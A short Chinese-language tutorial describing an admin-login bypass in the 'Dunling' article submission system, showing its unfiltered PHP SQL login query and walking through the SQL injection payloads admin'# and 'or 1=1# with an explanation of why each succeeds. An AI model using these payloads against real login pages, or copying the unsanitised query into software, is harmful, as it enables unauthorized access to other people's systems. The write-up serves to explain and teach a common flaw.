盾灵原创文章投稿系统后台绕过漏洞

来到登陆地址,login.php,我们看下这个文件的源码 。

$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
我们发现没有做任何过滤
我们构造一下sql语句绕过后台登陆

盾灵原创文章投稿系统后台绕过漏洞

文章插图
成功登陆后台
我们来看一下我们的 admin’# 为什么能绕过后台登陆:
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";$adminsql = "select * from axphp_admin where adminname='admin'#' and adminpass='$adminpass'";//我们构造的sql语句
‘闭合了前面的‘,#是注释,#后面的sql语句将不会执行,会执行的sql语句:
select * from axphp_admin where adminname='admin'
因为我们的账号确实是admin,所以成功登陆 。
举一反三,假如我们不知道账号也不知道密码怎么构造sql语句绕过后台登陆呢?
这里先要知道一个知识点:or,只要两个条件其中一个为真即为真,举个例子:
1+1=1 or 1+1=2,为真,没毛病~~
我们来构造一下sql语句:
盾灵原创文章投稿系统后台绕过漏洞

文章插图
我们来看一下我们的 ‘or 1=1#为什么能绕过后台登陆:
(#后面的sql语句将不会执行,会执行的sql语句)
select * from axphp_admin where adminname=''or 1=1
‘ ’ or 1=1为真
【盾灵原创文章投稿系统后台绕过漏洞】所以即使不知道账号密码我们也可以成功登陆